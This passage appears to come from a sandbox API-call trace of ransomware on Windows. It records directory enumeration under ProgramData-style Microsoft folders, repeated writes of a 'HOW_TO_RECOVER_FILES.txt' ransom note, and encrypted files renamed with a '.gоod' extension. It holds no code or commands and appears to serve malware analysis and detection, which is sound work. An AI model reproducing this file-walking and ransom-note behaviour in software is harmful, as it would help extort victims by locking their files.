nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.910] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97ce8d28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x60e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0140.910] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 1 [0140.910] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.911] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0140.911] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp", lpFilePart=0x0) returned 0x38 [0140.911] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.911] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.911] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa48239, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.912] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.912] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0140.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0140.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0140.912] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp", lpFilePart=0x0) returned 0x38 [0140.913] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.913] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.913] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa48239, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.913] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa48239, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.913] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0140.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0140.913] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0140.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0140.914] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\production\\temp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.915] GetFileType (hFile=0x618) returned 0x1 [0140.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0140.915] GetFileType (hFile=0x618) returned 0x1 [0140.915] WriteFile (in: hFile=0x618, lpBuffer=0x393e670*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x393e670*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0140.916] CloseHandle (hObject=0x618) returned 1 [0140.916] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0140.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0140.916] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\production\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.917] GetFileType (hFile=0x618) returned 0x1 [0140.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0140.917] GetFileType (hFile=0x618) returned 0x1 [0140.917] WriteFile (in: hFile=0x618, lpBuffer=0x3941ef8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3941ef8*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0140.918] CloseHandle (hObject=0x618) returned 1 [0140.918] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0140.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0140.918] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.919] GetFileType (hFile=0x618) returned 0x1 [0140.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0140.919] GetFileType (hFile=0x618) returned 0x1 [0140.919] WriteFile (in: hFile=0x618, lpBuffer=0x3945750*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3945750*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0140.920] CloseHandle (hObject=0x618) returned 1 [0140.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.920] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MapData", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MapData", lpFilePart=0x0) returned 0x24 [0140.920] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MapData\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aa705a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.920] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aa705a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.920] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa705a0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa705a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa705a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.921] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.921] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.921] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MapData", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MapData", lpFilePart=0x0) returned 0x24 [0140.921] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MapData\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3aa705a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa705a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.921] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3aa705a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa705a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.921] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa705a0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa705a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa705a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.921] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa705a0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa705a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa705a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.922] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.922] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MapData\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MapData\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0140.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0140.922] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MapData\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\mapdata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.923] GetFileType (hFile=0x618) returned 0x1 [0140.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0140.923] GetFileType (hFile=0x618) returned 0x1 [0140.923] WriteFile (in: hFile=0x618, lpBuffer=0x39569c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x39569c8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0140.924] CloseHandle (hObject=0x618) returned 1 [0140.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.924] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF", lpFilePart=0x0) returned 0x1f [0140.924] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.924] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3ab9f6b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL.gоod", cAlternateFileName="")) returned 1 [0140.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd08fd, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL.gоod", cAlternateFileName="")) returned 1 [0140.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.925] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.925] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF", lpFilePart=0x0) returned 0x1f [0140.925] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.926] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3ab9f6b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL.gоod", cAlternateFileName="")) returned 1 [0140.926] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd08fd, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.926] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL.gоod", cAlternateFileName="")) returned 1 [0140.926] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, 